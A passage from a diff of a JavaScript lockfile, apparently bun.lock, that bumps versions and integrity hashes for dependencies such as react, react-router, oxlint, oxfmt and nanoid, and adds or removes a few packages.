"sha512-7DnN7TmbLcYXcG4RVadXIihWlyuM9afoUww8Y5Agg431kGKiuL2/OMyP4mJ5wLz+pvN3t5ySClLOaVXJ+wekRQ=="], "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], - "nanoid": ["nanoid@3.3.12", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="], + "nanoid": ["nanoid@3.3.18", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w=="], "negotiator": ["negotiator@0.6.4", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="], "next-themes": ["next-themes@0.4.6", "", { "peerDependencies": { "react": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc", "react-dom": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc" } }, "sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA=="], - "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], + "node-releases": ["node-releases@2.0.54", "", {}, "sha512-YHs7BmmcsdAI5Ozuf8JZo6PT0mv2GIWC9vMfvUC3dp65M8hn7Ux8CPL+2oBI7juNuj9d0ndhTcznq2ODBps9cQ=="], "npm-run-path": ["npm-run-path@4.0.1", "", { "dependencies": { "path-key": "^3.0.0" } }, "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw=="], + "npm-to-yarn": ["npm-to-yarn@3.2.0", "", {}, "sha512-K1HmQeZT2HrjpsR6KgqbN2FAXL2NrJJmNUSD9ck7HGTVu1JKXox8n9SB+tjbU8m8JGLF4OscrroPepew/L7/Xw=="], + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + "obug": ["obug@2.1.4", "", {}, "sha512-4a+OsYv9UktOJKE+l1A4OufDgdRF9PifWj+tJnHURo/P+WOxpG4GzUFL9qCalmWauao6ogiG+QvnCovwPoyAWA=="], + "on-headers": ["on-headers@1.1.0", "", {}, "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A=="], "onetime": ["onetime@5.1.2", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="], @@ -1059,11 +1040,11 @@ "oniguruma-to-es": ["oniguruma-to-es@4.3.6", "", { "dependencies": { "oniguruma-parser": "^0.12.2", "regex": "^6.1.0", "regex-recursion": "^6.0.2" } }, "sha512-csuQ9x3Yr0cEIs/Zgx/OEt9iBw9vqIunAPQkx19R/fiMq2oGVTgcMqO/V3Ybqefr1TBvosI6jU539ksaBULJyA=="], - "oxfmt": ["oxfmt@0.56.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.56.0", "@oxfmt/binding-android-arm64": "0.56.0", "@oxfmt/binding-darwin-arm64": "0.56.0", "@oxfmt/binding-darwin-x64": "0.56.0", "@oxfmt/binding-freebsd-x64": "0.56.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.56.0", "@oxfmt/binding-linux-arm-musleabihf": "0.56.0", "@oxfmt/binding-linux-arm64-gnu": "0.56.0", "@oxfmt/binding-linux-arm64-musl": "0.56.0", "@oxfmt/binding-linux-ppc64-gnu": "0.56.0", "@oxfmt/binding-linux-riscv64-gnu": "0.56.0", "@oxfmt/binding-linux-riscv64-musl": "0.56.0", "@oxfmt/binding-linux-s390x-gnu": "0.56.0", "@oxfmt/binding-linux-x64-gnu": "0.56.0", "@oxfmt/binding-linux-x64-musl": "0.56.0", "@oxfmt/binding-openharmony-arm64": "0.56.0", "@oxfmt/binding-win32-arm64-msvc": "0.56.0", "@oxfmt/binding-win32-ia32-msvc": "0.56.0", "@oxfmt/binding-win32-x64-msvc": "0.56.0" }, "peerDependencies": { "svelte": "^5.0.0", "vite-plus": "*" }, "optionalPeers": ["svelte", "vite-plus"], "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-9Dv0wV3zKiyvhjD7bRKaInKmHQ1sPx3RGOjQkGFJbbdQ16576yf8qhMSO9Q9cvHcs+1NpBsRTkuDDYFFPTJ6gw=="], + "oxfmt": ["oxfmt@0.65.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.65.0", "@oxfmt/binding-android-arm64": "0.65.0", "@oxfmt/binding-darwin-arm64": "0.65.0", "@oxfmt/binding-darwin-x64": "0.65.0", "@oxfmt/binding-freebsd-x64": "0.65.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.65.0", "@oxfmt/binding-linux-arm-musleabihf": "0.65.0", "@oxfmt/binding-linux-arm64-gnu": "0.65.0", "@oxfmt/binding-linux-arm64-musl": "0.65.0", "@oxfmt/binding-linux-ppc64-gnu": "0.65.0", "@oxfmt/binding-linux-riscv64-gnu": "0.65.0", "@oxfmt/binding-linux-riscv64-musl": "0.65.0", "@oxfmt/binding-linux-s390x-gnu": "0.65.0", "@oxfmt/binding-linux-x64-gnu": "0.65.0", "@oxfmt/binding-linux-x64-musl": "0.65.0", "@oxfmt/binding-openharmony-arm64": "0.65.0", "@oxfmt/binding-win32-arm64-msvc": "0.65.0", "@oxfmt/binding-win32-ia32-msvc": "0.65.0", "@oxfmt/binding-win32-x64-msvc": "0.65.0" }, "peerDependencies": { "svelte": "^5.0.0", "vite-plus": "*" }, "optionalPeers": ["svelte", "vite-plus"], "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-SgS5VgnP42T0zl3zWD+xoH8FCqg1SAFnSRoOT/qeoa6gxcYIqrDMOmcXIg/EWSN92Du4ogB4riuKhKd6Y4CGhw=="], - "oxlint": ["oxlint@1.71.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.71.0", "@oxlint/binding-android-arm64": "1.71.0", "@oxlint/binding-darwin-arm64": "1.71.0", "@oxlint/binding-darwin-x64": "1.71.0", "@oxlint/binding-freebsd-x64": "1.71.0", "@oxlint/binding-linux-arm-gnueabihf": "1.71.0", "@oxlint/binding-linux-arm-musleabihf": "1.71.0", "@oxlint/binding-linux-arm64-gnu": "1.71.0", "@oxlint/binding-linux-arm64-musl": "1.71.0", "@oxlint/binding-linux-ppc64-gnu": "1.71.0", "@oxlint/binding-linux-riscv64-gnu": "1.71.0", "@oxlint/binding-linux-riscv64-musl": "1.71.0", "@oxlint/binding-linux-s390x-gnu": "1.71.0", "@oxlint/binding-linux-x64-gnu": "1.71.0", "@oxlint/binding-linux-x64-musl": "1.71.0", "@oxlint/binding-openharmony-arm64": "1.71.0", "@oxlint/binding-win32-arm64-msvc": "1.71.0", "@oxlint/binding-win32-ia32-msvc": "1.71.0", "@oxlint/binding-win32-x64-msvc": "1.71.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.22.1", "vite-plus": "*" }, "optionalPeers": ["oxlint-tsgolint", "vite-plus"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-U1m1X+C0vDj7DC1e13IoZULzEcPczE7UOMTs8VlZGHUEIUaSTZKo5qkPsQEfzpgnQ29Pea/w3Xntk62UCecxZw=="], + "oxlint": ["oxlint@1.80.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.80.0", "@oxlint/binding-android-arm64": "1.80.0", "@oxlint/binding-darwin-arm64": "1.80.0", "@oxlint/binding-darwin-x64": "1.80.0", "@oxlint/binding-freebsd-x64": "1.80.0", "@oxlint/binding-linux-arm-gnueabihf": "1.80.0", "@oxlint/binding-linux-arm-musleabihf": "1.80.0", "@oxlint/binding-linux-arm64-gnu": "1.80.0", "@oxlint/binding-linux-arm64-musl": "1.80.0", "@oxlint/binding-linux-ppc64-gnu": "1.80.0", "@oxlint/binding-linux-riscv64-gnu": "1.80.0", "@oxlint/binding-linux-riscv64-musl": "1.80.0", "@oxlint/binding-linux-s390x-gnu": "1.80.0", "@oxlint/binding-linux-x64-gnu": "1.80.0", "@oxlint/binding-linux-x64-musl": "1.80.0", "@oxlint/binding-openharmony-arm64": "1.80.0", "@oxlint/binding-win32-arm64-msvc": "1.80.0", "@oxlint/binding-win32-ia32-msvc": "1.80.0", "@oxlint/binding-win32-x64-msvc": "1.80.0" }, "peerDependencies": { "oxlint-tsgolint": ">=7.0.2001", "vite-plus": "*" }, "optionalPeers": ["oxlint-tsgolint", "vite-plus"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-5nTiSps4qdbCWLbxzuO00alHkEO2exR9YMN/ig6QXWrLsYSG0KaObOAM+l6oU2LcKPWoSAGYbkZIGEu1ViiWKA=="], - "p-map": ["p-map@7.0.4", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="], + "p-map": ["p-map@7.0.7", "", {}, "sha512-VaWRu2i4FJNRtiRWCuuQRgfQ1B7a6+gMSrO+3j0EQi/k0ULfS9kosRxGoiqwzIjZTDI02tGfk5mXXltLg6QtfQ=="], "package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="], @@ -1079,17 +1060,15 @@ "path-to-regexp": ["path-to-regexp@3.3.0", "", {}, "sha512-qyCH421YQPS2WFDxDjftfc1ZR5WKQzVzqsp4n9M2kQhVOo/ByahFoUNJfl58kOcEGfQ//7weFTDhm+ss8Ecxgw=="], - "pathe": ["pathe@1.1.2", "", {}, "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ=="], + "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], - "picomatch": ["picomatch@4.0.4", "", {}, "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A=="], + "picomatch": ["picomatch@4.0.7", "", {}, "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA=="], "pkg-types": ["pkg-types@2.3.1", "", { "dependencies": { "confbox": "^0.2.4", "exsolve": "^1.0.8", "pathe": "^2.0.3" } }, "sha512-y+ichcgc2LrADuhLNAx8DFjVfgz91pRxfZdI3UDhxHvcVEZsenLO+7XaU5vOp0u/7V/wZ+plyuQxtrDlZJ+yeg=="], - "postcss": ["postcss@8.5.15", "", { "dependencies": { "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A=="], - - "prettier": ["prettier@3.8.5", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-zxcTTCedNGJM4R8sj/Cq/F0W/c4iE0afWBcBwMTRtw4WHYP9TWkYjdiH3npPRUYsXQCPR0hTU9yjovOu+E6EQA=="], + "postcss": ["postcss@8.5.26", "", { "dependencies": { "nanoid": "^3.3.17", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-u82N74LFzG8ca+dD8puPnplTXoGH4fTPpVGuIbt36G3qvNlkvfD0lEAZSxaly3KX8TS/L1A1gsCEmvKmBcVbkQ=="], "prismjs": ["prismjs@1.30.0", "", {}, "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw=="], @@ -1097,49 +1076,49 @@ "property-expr": ["property-expr@2.0.6", "", {}, "sha512-SVtmxhRE/CGkn3eZY1T6pC8Nln6Fr/lu1mKSgRud0eC73whjGfoAogbn78LkD8aFL0zz3bAFerKSnOl7NlErBA=="], - "property-information": ["property-information@7.1.0", "", {}, "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ=="], + "property-information": ["property-information@7.2.0", "", {}, "sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg=="], "range-parser": ["range-parser@1.2.0", "", {}, "sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A=="], "rc": ["rc@1.2.8", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="], - "react": ["react@19.2.7", "", {}, "sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ=="], + "react": ["react@19.2.8", "", {}, "sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw=="], "react-copy-to-clipboard": ["react-copy-to-clipboard@5.1.1", "", { "dependencies": { "copy-to-clipboard": "^3.3.3", "prop-types": "^15.8.1" }, "peerDependencies": { "react": ">=15.3.0" } }, "sha512-s+HrzLyJBxrpGTYXF15dTgMjAJpEPZT/Yp6NytAtZMRngejxt6Pt5WrfFxLAcsqUDU6sY1Jz6tyHwIicE1U2Xg=="], "react-d3-tree": ["react-d3-tree@3.6.6", "", { "dependencies": { "@bkrem/react-transition-group": "^1.3.5", "@types/d3-hierarchy": "^1.1.8", "clone": "^2.1.1", "d3-hierarchy": "^1.1.9", "d3-selection": "^3.0.0", "d3-shape": "^1.3.7", "d3-zoom": "^3.0.0", "dequal": "^2.0.2", "uuid": "^8.3.1" }, "peerDependencies": { "react": "16.x || 17.x || 18.x || 19.x", "react-dom": "16.x || 17.x || 18.x || 19.x" } }, "sha512-E9ByUdeqvlxLlF9BSL7KWQH3ikYHtHO+g1rAPcVgj6mu92tjRUCan2AWxoD4eTSzzAATf8BZtf+CXGSoSd6ioQ=="], - "react-dom": ["react-dom@19.2.7", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.7" } }, "sha512-t0BRVXvbiE/o20Hfw669rLbMCDWtYZLvmJigy2f0MxsXF+71pxhR3xOkspmsO8h3ZlNzyibAmtCa3l4lYKk6gQ=="], + "react-dom": ["react-dom@19.2.8", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.8" } }, "sha512-rVprimfGBG3DR+Tq0IQG2DT5PxKth1WIGDmj5yPmlzr4YBe7uyE+Du4oVqTDXZSHGGGXRtTJEGSSePyQCMBglQ=="], - "react-hook-form": ["react-hook-form@7.80.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-4P+fk6oXsxY+6xSj7Euhc2sumQD8zQqCuVHoJwoyp9EchP+IUW9OESB7uHFJOKsIBQ4MQqYE84INJFqUCYNoOg=="], + "react-hook-form": ["react-hook-form@7.87.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-zhFzWvLxNHH+8839OnZcUxgMZw88ah2jZWDWvKWgF3Tpbnd0vKL+dlcuU3nZVWESZQjd81EW8K+wU+cYfYAc0w=="], - "react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="], + "react-hotkeys-hook": ["react-hotkeys-hook@5.3.3", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-aswgyWUnE25hmhzHTfKDmKzsaSE5DJ4LKaU/o6rQSXkDd/1Bh9TfAFQbHkf6fLy11HvlYkp+cDDarGdhmCDhoQ=="], - "react-i18next": ["react-i18next@17.0.8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.2.0", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-0ooKbGLU8JXhe1zwpQUWIeXSgLPOfwJmgheWRIUpcoA0CpyabpGhayjdG+/eA5esC1AQ8h2jWpXjJfzQzeDOCw=="], + "react-i18next": ["react-i18next@17.0.12", "", { "dependencies": { "@babel/runtime": "^7.29.7", "html-parse-stringify": "^4.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.2.0", "react": ">= 16.8.0", "react-dom": "*", "react-native": "*", "typescript": "^5 || ^6 || ^7" }, "optionalPeers": ["react-dom", "react-native", "typescript"] }, "sha512-lFWPEGkxQ6RhusdUkysFBD58VHfSSzvHBzqMgN0SvfVpdQGfwtNkStTqdy08/sJd7s807qqutgx93fRpD0DJ3Q=="], "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], "react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="], - "react-medium-image-zoom": ["react-medium-image-zoom@5.4.8", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-72CIldEUaPejjcaDOYIeDsGlWzNKpmxyKgiPi1LBCkWCIGHDLlA2KTeo2uNtmN/m72Y3k/2uWDfon9SDiPbHaA=="], + "react-medium-image-zoom": ["react-medium-image-zoom@5.4.9", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-czBdTbJI6JEbqeRIT5M8D3j7TrffBfo00U0P0lzzd19usj8PiR1yPH7PK/vQlwBE/Sv9YFdJGN6XauJPi4jRyg=="], - "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="], + "react-refresh": ["react-refresh@0.18.0", "", {}, "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw=="], "react-remove-scroll": ["react-remove-scroll@2.7.2", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q=="], "react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" }, "optionalPeers": ["@types/react"] }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="], - "react-router": ["react-router@7.10.0", "", { "dependencies": { "cookie": "^1.0.1", "set-cookie-parser": "^2.6.0" }, "peerDependencies": { "react": ">=18", "react-dom": ">=18" }, "optionalPeers": ["react-dom"] }, "sha512-FVyCOH4IZ0eDDRycODfUqoN8ZSR2LbTvtx6RPsBgzvJ8xAXlMZNCrOFpu+jb8QbtZnpAd/cEki2pwE848pNGxw=="], + "react-router": ["react-router@8.3.1", "", { "dependencies": { "cookie-es": "^3.1.1" }, "peerDependencies": { "react": ">=19.2.7", "react-dom": ">=19.2.7" }, "optionalPeers": ["react-dom"] }, "sha512-TEOpiO2g0TJHEOJeRVv4amUFun9v1npCKszvcquNvzETUtJ8udV86ah5eFoHT7g26bsBvT6EiIhqulR8eDF++A=="], - "react-router-devtools": ["react-router-devtools@6.2.1", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-client": "^0.0.5", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-qhQg5bJvsiWQpCddehh7HUpNt/zGlxHygG3rseooky1ENDGmlNwB08w4gW4YZRzeZOPgVpgEXgw94ypBpGfpww=="], + "react-router-devtools": ["react-router-devtools@6.2.3", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-client": "^0.0.5", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0", "vite-node": "^5.0.0 || ^6.0.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0" } }, "sha512-3JgKXzB2/167052LgCLSh7ECb4vi8fu/Ddr8UfdO3OH2lFIDMbr6tMtTe3Wek16puahgPDKniqRw6bZCAu7CFg=="], "react-style-singleton": ["react-style-singleton@2.2.3", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="], "react-syntax-highlighter": ["react-syntax-highlighter@16.1.1", "", { "dependencies": { "@babel/runtime": "^7.28.4", "highlight.js": "^10.4.1", "highlightjs-vue": "^1.0.0", "lowlight": "^1.17.0", "prismjs": "^1.30.0", "refractor": "^5.0.0" }, "peerDependencies": { "react": ">= 0.14.0" } }, "sha512-PjVawBGy80C6YbC5DDZJeUjBmC7skaoEUdvfFQediQHgCL7aKyVHe57SaJGfQsloGDac+gCpTfRdtxzWWKmCXA=="], - "react-tooltip": ["react-tooltip@5.30.0", "", { "dependencies": { "@floating-ui/dom": "^1.6.1", "classnames": "^2.3.0" }, "peerDependencies": { "react": ">=16.14.0", "react-dom": ">=16.14.0" } }, "sha512-Yn8PfbgQ/wmqnL7oBpz1QiDaLKrzZMdSUUdk7nVeGTwzbxCAJiJzR4VSYW+eIO42F1INt57sPUmpgKv0KwJKtg=="], + "react-tooltip": ["react-tooltip@5.30.1", "", { "dependencies": { "@floating-ui/dom": "^1.6.1", "classnames": "^2.3.0" }, "peerDependencies": { "react": ">=16.14.0", "react-dom": ">=16.14.0" } }, "sha512-1lSPLQXuVooePxadUpmcwLgOsF1mIty7UZTJ9XnyfX4drOzStYs4JMXnazcDLguQr41W5OUZddOp9kfvArdpEQ=="], - "readdirp": ["readdirp@4.1.2", "", {}, "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg=="], + "readdirp": ["readdirp@5.1.1", "", {}, "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA=="], "recma-build-jsx": ["recma-build-jsx@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "estree-util-build-jsx": "^3.0.0", "vfile": "^6.0.0" } }, "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew=="], @@ -1179,13 +1158,11 @@ "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="], - "reselect": ["reselect@5.2.0", "", {}, "sha512-AgZ3UOZm3YndfrJ4OYjgrT7bmCm/1iqkjvEfH/oYjzh6PD2qw4QuT3jjnXIrpdt4MTpMXclMT3lXbmRY+XRakw=="], + "reselect": ["reselect@5.3.0", "", {}, "sha512-XGoLeRAVzUTcJ1qkxPQhDJyIZ5d6zzZD9nT7AEZOaaU9UbWclhycElmhO+VD5bFeLuzhPBaOV2oXC8uG35ZSpg=="], "rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="], - "rolldown": ["rolldown@1.1.3", "", { "dependencies": { "@oxc-project/types": "=0.137.0", "@rolldown/pluginutils": "^1.0.0" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.1.3", "@rolldown/binding-darwin-arm64": "1.1.3", "@rolldown/binding-darwin-x64": "1.1.3", "@rolldown/binding-freebsd-x64": "1.1.3", "@rolldown/binding-linux-arm-gnueabihf": "1.1.3", "@rolldown/binding-linux-arm64-gnu": "1.1.3", "@rolldown/binding-linux-arm64-musl": "1.1.3", "@rolldown/binding-linux-ppc64-gnu": "1.1.3", "@rolldown/binding-linux-s390x-gnu": "1.1.3", "@rolldown/binding-linux-x64-gnu": "1.1.3", "@rolldown/binding-linux-x64-musl": "1.1.3", "@rolldown/binding-openharmony-arm64": "1.1.3", "@rolldown/binding-wasm32-wasi": "1.1.3", 